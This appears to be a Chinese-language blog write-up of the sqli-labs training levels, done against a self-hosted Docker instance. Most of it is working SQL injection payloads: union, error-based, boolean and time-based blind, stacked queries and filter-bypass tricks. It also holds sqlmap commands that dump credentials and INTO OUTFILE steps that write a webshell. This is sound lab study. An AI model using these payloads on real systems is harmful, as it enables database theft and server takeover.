sqlib
环境搭建
本来想用阿里云搭建的,然后续费了一年,发觉阿里的那个防御有点烦,注入下被检测到就ban ip,搞得我都没法测试,最后就用docker搭建了
1 | docker pull acgpiano/sqli-labs |
sqli-labs1
拿到这个网站,不知道要干嘛。。。输入?id=1后便开始注入之旅
注入数据库名
1 | http://43.247.91.228:84/Less-1/?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ |
emails
referers
uagents
users
拿到数据库名,
注入表名
users: id,email_id
emails: id,email_id
uagents:id,uagent,ip_address,username
referers: id,referer,ip_address
注入列名
id,username,password
表
1 | http://43.247.91.228:84/Less-1/ |
这里遍历1,2,3遍历下去就可以拿到所有用户名和密码了
sqlmap注入
1 | sqlmap -u "http://43.247.91.228:84/Less-1/?id=0" -p id --dbs |
数据库名
[] challenges
[] information_schema
[] mysql
[] performance_schema
[*] security
1 | sqlmap -u "http://43.247.91.228:84/Less-1/?id=0" -p id -D security --tables |
表名
+———-+
| emails |
| referers |
| uagents |
| users |
+———-+
1 | sqlmap -u "http://43.247.91.228:84/Less-1/?id=0" -p id -D security -T users --columns |
列名
+———-+————-+
| Column | Type |
+———-+————-+
| id | int(3) |
| password | varchar(20) |
| username | varchar(20) |
+———-+————-+
1 | sqlmap -u "http://43.247.91.228:84/Less-1/?id=0" -p id -D security -T users --columns -C username,password --dump |
dump数据库
+———-+————+
| username | password |
+———-+————+
| Dumb | Dumb |
| Angelina | I-kill-you |
| Dummy | p@ssword |
| secure | crappy |
| stupid | stupidity |
| superman | genious |
| batman | mob!le |
| admin | admin |
| admin1 | admin1 |
| admin2 | admin2 |
| admin3 | admin3 |
| dhakkan | dumbo |
| admin4 | admin4 |
+———-+————+
1 | sqlmap -u "http://43.247.91.228:84/Less-1/?id=0" -p id -D security -a |
dump所有该库里的所有表
mysql学习
1 | show databases; #查看数据库 |
问题
–+ 以及– 以及#注释方法有何不同,在这里只有–+合适,这是为什么
解决:
- #号用urlencode一次就可以
- – 将空格用urlencode一次
- –+ 直接就可以
原因:
- http请求不包括#号
- url中末尾包含空格不会发送空格,需转义
- +号在保留字符内,会被编码成空格
源码学习
注意到,这里是直接
$sql=”SELECT * FROM users WHERE id=’$id’ LIMIT 0,1”;
然后直接查询,导致了sql注入,还有这里是字符型
1 |
|
sqli-labs2
这里变成了数字型注入,也就是说不用引号闭合
表查询
emails,emails,referers,referers,referers,uagents,uagents,uagents,uagents,users,users,users
列查询
id,username,password
同理可得
payload
1 | ?id=0 union select 1,2,group_concat(column_name,0x3a) from information_schema.columns where table_name='users' |
skctf_flag
源码
这里少了个单引号,引起来,所以叫数字型注入,差别在于引号
1 |
|
sqli-labs3
1 | ?id=1' |
先测试下有没反应,报错,证明可能有注入?
然后测试原来的各种方法都没有效果,order就是没反应
去看源代码
1 |
|
发觉是用括号包括了起来,要闭合掉括号才可以,
payload
1 | ?id=2') 构造语句 --+ |
同样的过程,不再重复做了
sqli-labs4
payload
1 | ?id=1") order by 3 --+ |
我这题盲猜出来的。。。我弄完发觉我不懂为什么这样,还是看源码
源码
1 | $id = '"' . $id . '"'; |
php不太懂,所以没看怎么懂,调试了下就懂了
1 | php > $id = '1") order by 3 --+'; |
第一句会将字符串两边都加上双引号,
第二句然后在将id放进里面去,也就是说我们输入的会被加上个 (“ 这个前缀,所以闭合的话“)闭合掉,后面的就可以正常执行了
思考
- 如何判断他是这种方式的注入?
只能通过fuzz嘛
sqli-lab5
payload
知识点1
报错注入原理
简单解释下: 就是group by进行分组查询的时候报错,因为我们是将 concat((select database()),floor(rand(0)*2)) 作为分组查询依据,
结合:
- 按照MySQL的官方说法,group by要进行两次运算,第一次是拿group by后面的字段值到虚拟表中去对比前,首先获取group by后面的值;第二次是假设group by后面的字段的值在虚拟表中不存在,那就需要把它插入到虚拟表中,这里在插入时会进行第二次运算,由于rand函数存在一定的随机性,所以第二次运算的结果可能与第一次运算的结果不一致,但是这个运算的结果可能在虚拟表中已经存在了,那么这时的插入必然导致主键的重复,进而引发错误。
1 | MariaDB [information_schema]> select floor(rand(0)*2) from USER_PRIVILEGES; |
- 当 group by 对其进行分组的时候,首先遇到第一个值 0 ,发现 0 不存在,于是需要插入分组,就在这时,floor(rand(0)2)再次被触发,生成第二个值 1 ,因此最终插入虚拟表的也就是第二个值 1 ;然后遇到第三个值 1 ,因为已经存在分组 1 了,就直接计数加1(这时1的计数变为2);遇到第四个值 0 的时候,发现 0 不存在,于是又需要插入新分组,然后floor(rand(0)2)又被触发,生成第五个值 1 ,因此这时还是往虚拟表里插入分组 1 ,但是,分组 1 已经存在了!所以报错!
而这里,rand()*2的话存在一定随机性,可能是0,可能是1,假设随机到两个0的话就会报错了,而我们需要他报错,这里就在利用到rand(0)的伪随机
1 | ?id=0' union select null,count(*),concat((select database()), floor(rand(0)*2)) as value from information_schema.tables group by value --+ |
这里学了个新知识点limit args1 args2
从第args1条数据开始返回args2条数据
1 | ?id=0' union select null,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1), floor(rand(0)*2)) as value from information_schema.tables group by value --+ |
这里轮询下就能报出所有表
爆出密码了
1 | ?id=0' union select null,count(*),concat((select password from users limit 3,1), floor(rand(0)*2)) as value from information_schema.tables group by value --+ |
接下来就是轮询遍历出所有数据了,这里建议用burp还是脚本吧,不手动
思考
- 有没有办法可以一次查询所有数据,类似于group_concat这个,在这里怎么用不上?
sqli-labs6
这里只要把第五关的单引号换成双引号就行了额
sqli-labs7
先测试是否存在注入
- 单引号报错
- 测试payload
1 | id=1')) or 1=1--+ |
这里可以看出用 1’))可以闭合
- 测存在几列
1 | ?id=1')) group by 3--+ |
- 联合查询
1 | ?id=1')) union select 1,2,table_name from information_schema.tables where table_schema=database() --+ |
测试了下并无回显,题目要求用dump file,意思写文件,然后连webshell?
测试下呗
- 查询权限
1 | ?id=1')) and (select count(*) from mysql.user)>0 --+ |
- 写文件
1 | ?id=1')) union select version(),user(),database() into outfile "1.php" --+ |
发觉可以写入,但我没法读啊,玩球
1 | root@f34537b10355:/etc/mysql# find / -name 1.php |
写webshell
1 | ?id=1')) union select version(),user(),database() into outfile "/var/www/html/Less-7/1.php" --+ |
也没有屁用,因为我没有写web目录权限,不玩了。。。就这样吧
先放着
问题
- 这种注入适用于配置不当情况下,如何测试是否写入成功?
- 如何知道写入路径?
- 为什么写入成功也是报语法错
后续
问了一下大佬,说改web目录就行了,chmod 777走一波,发觉可以写了,webshell写上,连接成功,后面随缘吧,思路就是这样
sqli-labs8
1 | ?id=1' order by 3 --+ |
测试了下,单引号闭合,列数为3
这题只要注入成功就会有回显,注入失败就不会有回显
length函数
- 数据库名长度
1 | ?id=1' and length(database())=8 --+ |
- 数据库名
1 | ?id=1' and left(database(),1) < 's' --+ |
爆出表名
1 | ?id=1' and ascii(substr((select database()),2,1))>101 |
这个过程就是重复过程了,不再测试,利用bool的真与假判断
sqli-labs9
1 | ?id=1' and sleep(5) --+ |
测试了下,存在时间盲注,这里sleep确实执行了,等待了5秒,这个其实就是通过sleep执行情况,能执行的话就证明语句正确
同时在利用bool判断就可以了
1 | ?id=1' and if(ascii(substr(database(),1,1))>115,sleep(5),1) --+ |
注入第一位,
这里利用if判断,成功便返回执行sleep(5),失败不执行
原理懂了就过
sqli-labs10
同理
1 | ?id=1" and if(ascii(substr(database(),1,1))>114,sleep(5),1) --+ |
替换单引号为双引号
sqli-labs11
1 | 0' union select group_concat(id,0x3a),group_concat(email_id) from emails--+ |
没看出跟原来的有什么区别,还是报错,然后就常见注入手段就行了
sqli-labs12
1 | 0") union select group_concat(id,0x3a),group_concat(email_id) from emails# |
闭合好就ok了
sqli-labs13
1 | 1') order by 3# |
万能密码
1 | 1') or 1=1 # |
这个可以注入了,接下来用时间盲注我觉得可以完成
这里用or会出现回显,成功边会出现success
布尔注入
1 | ' )or length(database())=8 # |
时间,这里sleep会等好久,不知道为什么,先放着,用bool就可以注入成功了
1 | ' )or if(ascii(substr(database(),1,1))>114,sleep(5),1) # |
还可以进行报错注入,因为有提示
sqli-labs14
1 | " or 1=1 # |
注入成功
同理,接下来就是报错或者盲注了
1 | " union select count(*),concat((select database()), floor(rand(0)*2)) as value from information_schema.tables group by value# |
报错注入
sqli-labs15
单双引号都不报错,有点意思
手动测试
1 | 1' or 1=1 # |
发觉这个payload是可以登录的,单引号,接下来又是盲注?
1 | 1' or length(database())=8 # |
成了,不测试了后面的,这个太麻烦了
sqli-labs16
1 | 1") or 1=1 # |
测试了下,这个payload能登录,所以后面同理
sqli-labs17
测试了好些个,没测出什么注入?
题目说是update注入,后面看了源码后才知道
1 | $update="UPDATE users SET password = '$passwd' WHERE username='$row1'"; |
这里update注入要将语句放前面,前面的的都是查询语句,现在变成update,where后面不可以联合查询了
1 | admin #用户名 |
sqli-labs18
又学习到了,uagent注入,报错注入的函数
extractvalue以及updatexml
这里传入的第二个参数不为xpath字符串就会报错,比原来的报错注入简单些
1 | 'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1 |
1 | 'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1,1,1)# |
其余不测试了,一样的
sqli-labs19
1 | 'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)) and '1'='1 |
。。。说是这么说,改掉就行?我怎么改都成功不了,先放着
sqli-labs20
1 | uname=admin' and extractvalue(1, concat(0x7e,(select @@basedir),0x7e)) # |
burp抓包抓到取cookie的包后,改就完事了
sqli-labs21
1 | admin1'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)))# |
base64编码过后传就对了
sqli-labs22
1 | admin1" and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))# |
好了,改个双引号的事情?
sqli-labs23
1 | -1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() and 1 ='1 |
这里注入我原来不知道为什么没法利用注释绕过,看了wp后发觉他过滤了注释符号,所以我在本地mysql测试了下,如何闭合引号就好了
1 | MariaDB [mysql]> select 1,2 from host where host='1' union select table_name from information_schema.tables where table_schema=database() and 1 ='1 '; |
原生语句,这里我只要把前后闭合掉就好了
这里还学到别人的,在select里嵌套一层select就行,我是利用where 条件 and 1就是相当于条件而已
1 | -1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),'3 |
sqli-labs24
这题有点意思啊,利用 二次注入,第一次,注册将注入语句放入数据库
第二次,利用已存在的注入语句,修改admin密码
具体过程
sqli-labs25
本关主要为 or and 过滤,如何绕过 or 和 and 过滤。一般性提供以下几种思路:
(1)大小写变形 Or,OR,oR
(2)编码,hex,urlencode
(3)添加注释/or/
(4)利用符号 and=&& or=||
1 | id=0' union select 1,2,group_concat(table_name) from infOoRrmation_schema.tables where table_schema=database() --+ |
..过滤了or,没过滤oorr啊,让他去掉or后还有or就好了
sqli-labs25a
1 | ?id=1 oorr 1=1 --+ |
同理
sqli-labs26
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
空格过滤绕过
1 | ?id=0'%a0union%a0select%a01,2,group_concat(table_name)%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=database()%a0anandd%a0'1 |
not easy,绕过越来越难了,结合了各种鬼东西
sqli-labs26-a
1 | ?id=1'%a0anandd%a0sleep(5)%a0aandnd%a0'1 |
可以时间盲注,不过太麻烦了
1 | ?id=0')%a0union%a0select%a01,2,group_concat(table_name)%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=database()%a0anandd%a0('1 |
这个。。。我忘记闭合后面的括号里,测了好久,还感觉wp是错的
sqli-labs27
1 | ?id=0'%a0unIon%a0seLect%a01,database(),3||'1 |
大小写混搭就好
sqli-labs27-a
1 | ?id=0"%a0unIon%a0seLect%a01,database(),3||"1 |
换成双引号就好了
sqli-labs28
1 | ?id=0')%a0unIon%a0seLect%a01,database(),3||('1 |
括号闭合
sqli-labs28-a
1 | ?id=0')%a0unIon%a0seLect%a01,database(),3||('1 |
一样的?
sqli-labs29
1 | ?id=0' union select 1,2,database() --+ |
waf很简单?,看了下题解,似乎不是我这么做的,这里利用的是http的参数污染
1 | ?id=0&&id=-1' union select 1,2,database() --+ |
jsp获取了第一个参数,然后(apache)php获取第二个参数,我们利用这个参数污染可以绕过waf,也就是说他过滤了第一个参数,我们依然可以注入
sqli-labs30
1 | ?id=0" union select 1,2,database() --+ |
一样可以直接绕过,测试waf
1 | ?id=1&&id=0" union select 1,2,database() --+ |
sqli-labs31
1 | ?id=0") union select 1,2,database() --+ |
都很easy?
1 | ?id=1&&id=0") union select 1,2,database() --+ |
sqli-labs32
1 | ?id=-1%df'union select 1,user(),3--+ |
这里加个%df,将\和%df合成绕过就行了
sqli-labs33
1 | ?id=0%df' union select 1,database(),version() --+ |
一样的?
sqli-labs34
1 | 0%df'union%20select%20database(),version()%20# |
一样的套路也可以过啊
sqli-labs35
1 | ?id=-1 union select 1,user(),database() --+ |
sqli-labs36
1 | ?id=0%df' union select 1,database(),version() --+ |
sqli-labs37
1 | 0%df'union%20select%20database(),version()%20# |
38
1 | ?id=0' union select 1,database(),version() --+ |
堆啥叠,直接联合查询就好了
1 | ?id=1';insert into users(id,username,password) values (17,'hello','world'); --+ |
插入成功
39
1 | ?id=0 union select 1,database(),version() --+ |
数字型注入
40
1 | ?id=0') union select 1,database(),version() --+ |
闭合括号
41
1 | ?id=0 union select 1,database(),version() --+ |
数字型,错误不会显示
42
1 | login_password=1' or 1=1 --+&login_user=admin&mysubmit=Login |
找注入点,然后插入就对了,堆叠注入没啥好说这里
43
1 | login_password=1') or 1= 1 --+&login_user=admin&mysubmit=Login |
闭合括号
44
1 | login_password=1' or 1=1 --+ &login_user=1&mysubmit=Login |
盲注,无回显而已,还是可以注入的
45
1 | login_password=1') or 1=1 --+&login_user=1&mysubmit=Login |
一样的盲注,无回显
46
数字注入没用sort=1这种
测试后发觉
1 | ?sort=rand(true) |
true和false的排序结果不一样,所以可以进行bool注入
还可以进行报错注入
1 | sort=(select count(*) from information_schema.columns group by concat(0x5c,(select user()),0x5c,floor(rand(0)*2)) limit 0,1) --+ |
还可以利用
1 | sort=1 into outfile '123.php' |
50
后面order加堆叠,我第一关就试了堆叠,所以这里不尝试了
总结
目前只知道原理了,后面得通过实战去测试
本文作者:NoOne
本文地址: https://noonegroup.xyz/posts/ca25cf0b/
版权声明:转载请注明出处!